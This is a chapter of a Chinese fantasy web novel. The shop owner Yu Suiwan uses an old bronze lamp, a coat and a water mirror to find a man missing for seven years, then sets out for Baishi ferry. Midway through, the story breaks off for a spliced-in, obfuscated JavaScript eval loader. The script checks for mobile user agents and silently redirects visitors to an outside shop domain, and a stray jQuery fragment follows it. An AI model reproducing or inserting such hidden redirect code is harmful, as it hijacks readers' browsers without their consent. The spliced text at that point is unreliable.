柳氏带来的那盏青铜灯并不好看。
灯座已经被烟火熏得发黑，边角还有两处磕痕，拿在手里沉甸甸的，若不是柳氏说起，谁也看不出这东西从前竟用了十几年。
“这是我们刚成亲那年买的。”柳氏将灯放到桌上，顺手用帕子擦了擦上面的灰，“那时候家里穷，舍不得买好油，他晚上做伞，总把灯芯剪得只剩一点。我嫌屋里暗，他还说做伞骨又不用看得多清楚，结果有一回削竹子，把自己手指削掉好大一块皮。”
陈棠坐在旁边听着，忍不住问道：“我怎么没见过这盏灯？”
“你小时候打翻过一次，险些把桌子烧了。后来我便收起来了。”柳氏想起旧事，嘴上虽然说着女儿，眼里却有了些笑意，“你爹还替你说话，说孩子小，知道什么，后来自己偷偷把那张烧坏的桌面刨了一层，怕我看见了心烦。”
虞岁晚原本正在整理桌上的东西，听见这话也抬头看了一眼陈棠：“看来你小时候确实不太省心。”
陈棠有些不好意思：“我那时候才几岁，谁家孩子小时候没闯过祸。”
“这话也对。”
虞岁晚十分赞同，顺手将桌上的一碟瓜子往她那边推了推。那瓜子是刘掌柜生前留下的旧罐子里翻出来的，自然不能吃，她下午出门重新买了一小包，自己磕了一半，剩下的原本打算留着明日。
刘掌柜在旁边看见，忍不住念叨：“你自己一文钱都恨不得掰成两半花，招待客人倒大方。”
虞岁晚只当没听见。
天色已经暗下来，知微堂的铺门也关了。前头只点了两盏灯，亮得并不十分彻底，反倒显得桌上那盏旧青铜灯格外显眼。
柳氏带来的东西除了旧灯，还有陈遇安从前常穿的一件灰蓝外衣。
衣裳收了七年，袖口早已经泛白，柳氏却洗得很干净。虞岁晚让她把衣服摊在桌上，又从袖口抽下一根线，绕在青铜灯的灯芯下面。
陈棠看了一会儿，问道：“这样便能找到我爹？”
“没这么容易。”
虞岁晚把灯油添到一半，又将那只焦尾木燕子放到灯座旁边，解释得很有耐心：“旧衣是他穿过的，灯也是他用过的，上面都留着他的气。若人还活着，这些旧东西多少能寻到一点牵连。不过隔了七年，单靠这些不够，还得借你娘身上的气。”
柳氏已经见过她用发丝寻人，闻言便要去拔头发。
虞岁晚忙拦住她：“不用每次都拔。你们成亲这么多年，又不是非得靠一根头发才能证明是夫妻。”
她让柳氏坐在灯前，两只手捧住青铜灯，却没有立刻点火，而是先问起陈遇安平日里的习惯。
柳氏被问得有些摸不着头脑。
“什么习惯？”
“什么都行。爱吃什么，怕什么，平日回家先做什么，有没有什么旁人不知道的小毛病。”虞岁晚将一碗清水放在灯前，自己也拉了把椅子坐下，“寻魂寻人，最怕只知道一个名字。世上同名同姓的人多了，真正让一个人成为他的，从来不是那几个字。”
柳氏想了想，最先想起来的竟不是什么大事。
“他不爱吃姜。”
她说完自己都觉得有些好笑，顿了一下又道：“做鱼的时候若切得太碎，他挑不干净，宁肯少吃两口，也不肯咽下去。可他又怕我嫌他挑嘴，每回都趁我不注意往阿棠碗里夹。”
陈棠听得一愣：“难怪我小时候总觉得自己碗里的姜比别人多。”
柳氏也笑了起来。
有了开头，后面的事情便一件接一件想了起来。
陈遇安睡觉时喜欢朝左边侧着，冬天总说自己不怕冷，夜里却会偷偷多扯一角被子。他每次出门送货，回来第一件事不是卸车，而是先去后院看看晾着的伞面，生怕柳氏忘了收。吃完饭爱坐在门口磨竹刀，磨得久了便容易走神，有时候街坊同他说半天话，他只顾着点头，实际上一个字都没听进去。
都是些很小的事情。
小到柳氏平日根本不会特意想起。
可如今坐在一盏旧灯前，一件件说出来，陈棠才慢慢发现，原来自己这些年虽然已经记不清父亲的脸，却一直活在这些留下来的习惯里。
她不爱吃姜，大约就是小时候被父亲夹怕了。
做完事情先检查一遍，也是跟着母亲学的，而母亲这些习惯，又有许多是当年和父亲一起守铺子时留下来的。
虞岁晚一直安静听着。
等柳氏说得差不多了，她才从袖中取出一张黄纸，裁成细细的一条，将上面写着陈遇安名字的一端压在灯座下面。
“接下来不管看见什么，都先别碰灯。”
柳氏点了点头。
虞岁晚取出火折子，将那盏多年没用的青铜灯点亮。
灯芯起初烧得并不顺，火苗一闪一闪，像是随时都会熄灭。柳氏看得紧张，下意识想伸手护一下，被虞岁晚轻轻按住手腕。
“不是风。”
她低头看了一眼水面。
清水原本平静，灯火亮起以后，水面却慢慢荡开一圈极细的波纹。虞岁晚将焦尾木燕子放进去，那木头并没有浮起来，反而缓缓沉到了碗底。
柳氏脸色一变。
虞岁晚却并不意外。
在望归桥，她已经确定木燕子上的旧气留在河底，如今不过再次证实罢了。
她从桌上拿起三枚铜钱，这回没有压在伞骨上，而是一枚一枚放进水中。每落下一枚，灯上的火便亮上一分，等第三枚铜钱沉到碗底，那根缠在灯芯下的旧衣线忽然无风自动，慢慢朝南偏了过去。
“果然还在下游。”
虞岁晚伸手将灯芯挑高了一些。
柳氏听见这话，眼睛一下便红了，却还是记着她方才的叮嘱，没有乱动，只紧紧盯着灯火。
虞岁晚又问道：“你丈夫若是失了记忆，身上可有什么地方，是旁人一眼便能认出来的？”
柳氏想了片刻，连忙道：“左肩下面有一道疤。他小时候从树上摔下来，叫断枝划的，大概有这么长。”
她用手比了一下。
陈棠也想起一件事：“我爹右手小指是不是弯的？我记得小时候问过，他说年轻时让石头砸过。”
“对，伸不直。”
虞岁晚将这两处记下，随后伸手在水面轻轻一点。
原本清澈的水忽然暗了下来。
不是变脏，而像是有人将一层夜色铺进了碗里。灯火映在水面上，渐渐拉出一条细长的亮线，顺着水纹一路往前。
刘掌柜原本还在旁边念叨她的瓜子，见状也安静了。
他死了三年，多少知道些阴阳之事，可像这样隔着一件旧衣、一盏旧灯便去寻一个活了七年不知身在何处的人，还是第一次见。
水面里的景象并不清楚。
先是一段浑浊的河，随后出现几艘来往的货船，岸边房屋越来越少，最后停在一处不大的渡口。
柳氏看不见那些，只能看见碗里的水越来越黑，心里急得厉害，却又不敢出声催促。
虞岁晚盯着看了许久。
渡口边立着块发白的石牌，上面的字被风雨磨去了大半，只剩下“白石”二字还能看清。再往里是一排低矮房屋，临河有间卖热食的小店，门前挂着几串晒干的鱼。
一个四十来岁的男人正弯腰替人搬东西。
他比柳氏记忆里的陈遇安老了许多，也瘦了许多，额角已经生出白发。因为隔着水镜，脸看不十分清楚，虞岁晚却看见他抬起右手时，小指果然无法完全伸直。
“找到了。”
柳氏猛地抬头。
虞岁晚没有急着让她高兴，仍旧盯着水面。
男人搬完东西后，在渡口边坐了一会儿。有人从旁边叫他，喊的却不是陈遇安，而是一个很普通的“老陈”。
虞岁晚听不清前面的名字。
不过姓还在。
也不知是巧合，还是这个连自己是谁都记不得的人，心里仍旧留下了那么一点没有完全丢掉的东西。
就在虞岁晚想看得再仔细些时，桌上的灯火忽然狠狠晃了一下。
水面里的男人像是察觉到了什么，毫无征兆地捂住胸口，整个人往前栽去。
柳氏看不见水中景象，却看见虞岁晚脸色变了，顿时慌起来：“怎么了？是不是他出了什么事？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838887|211575||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“先别说话。”
虞岁晚伸手按住那盏青铜灯。
几乎就在同一刻，桥下那一魂像是被什么惊醒了。
桌上的木燕子猛地从水中浮起来，撞翻了一枚铜钱，原本平静的清水一下溅出大半。陈棠吓了一跳，刚想伸手去扶碗，虞岁晚已经先将一张黄符拍在桌面上。
那张纸贴上去的瞬间，水面便像被冻住一般停了下来。
连方才溅到半空中的几滴水都悬在那里。
柳氏母女哪里见过这样的景象，一时间连呼吸都放轻了。
虞岁晚却顾不上她们。
她知道自己方才追得太深了。
陈遇安身上的魂本就不全，这七年来身体和桥下那一魂之间一直隔着很远，只靠一根极细的牵连吊着。如今她顺着旧物一路找到本体，等于无意中将那根线重新拉紧了一次。
桥下的一魂想回去。
可隔着几十里路，真要这样硬扯，只会先把活人的命扯断。
虞岁晚抬手剪断灯芯下的旧线，又用两指夹住那张写着陈遇安名字的黄纸，直接按进了水里。
灯火一下熄灭。
水中的景象也随之散去。
直到这时，桌上悬着的水珠才重新落下来，打湿了一小片桌面。
陈棠看得目瞪口呆，柳氏却只关心丈夫：“虞姑娘，他方才怎么了？”
“魂动了一下，身体受不住。”
虞岁晚拿帕子擦干净桌上的水，也没有瞒她，“不过我断得及时，人应该没事。只是不能再这样隔着几十里招他，否则桥下那一魂真被引过去，先死的反而是现在这个陈遇安。”
柳氏听到“现在这个陈遇安”，神情有些怔。
虞岁晚看出她没听明白，便又解释得更清楚：“你丈夫不是变成两个人了。他只是当年逃出去时，少了一部分魂。身体活着，魂也还在，只是不完整。望归桥下面留着的那一部分，这七年一直想回去，只是被石碑困着。”
陈棠想到方才灯火突然熄灭，心里还有些后怕：“那要怎么把那一魂还给我爹？”
“先把人找回来。”
虞岁晚将湿了的黄纸收在一旁，又把三枚铜钱捞出来擦干净，“活人就在白石渡，离临水县不算特别远。等见到人以后，我先看看他如今身体撑不撑得住，再决定怎么补魂。若现在直接去动望归桥那边的东西，离得这么远，他受不了。”
柳氏已经顾不上其他，只问明日什么时候能走。
“越早越好。”
虞岁晚想了想，又补充道：“你们今晚回去收拾几件衣裳，路上至少要住一晚。那边的人认识的陈遇安，未必还是你们记得的陈遇安。到时候见了面，先别一上去就拉着人哭，免得人没认出来，反倒被你们吓跑。”
柳氏本来满心都是紧张，听到最后一句，又忍不住擦着眼泪笑了一下：“我都等他七年了，难道还差那一刻钟？”
话虽然这样说，她离开知微堂时，脚步还是比平日快了许多。
陈棠抱着父亲的旧衣跟在母亲身后，临出门前又回头问了一句，方才水里那个人是不是和她爹很像。
虞岁晚没有哄她。
“看不清脸，不过右手小指对得上，左肩的疤要见面以后才能确认。你先别自己吓自己，也别高兴得睡不着，明日还有路要赶。”
陈棠认真点了点头。
等母女俩走远，刘掌柜才从旁边飘过来，看了一眼满桌狼藉，感慨道：“你这一晚上折腾得，比我活着时候盘一年账还累。”
虞岁晚将铜钱一枚枚重新收好，又把那盏旧灯擦干净。
“至少人找到了。”
“那明日铺子还开不开？”
“不开。”
刘掌柜已经猜到了，听完还是叹了口气。
虞岁晚收拾完桌子，想起明日要赶路，看来后院那口等着补的锅，只能再多漏一日了。
第二日辰时刚过，一辆青布骡车停在了知微堂门口。
柳氏母女已经收拾妥当，虞岁晚锁好铺门，又将刘掌柜留下看家。车夫等三人坐稳，扬鞭催着骡子出了斜月巷，沿着官道一路往临水河下游的白石渡去了。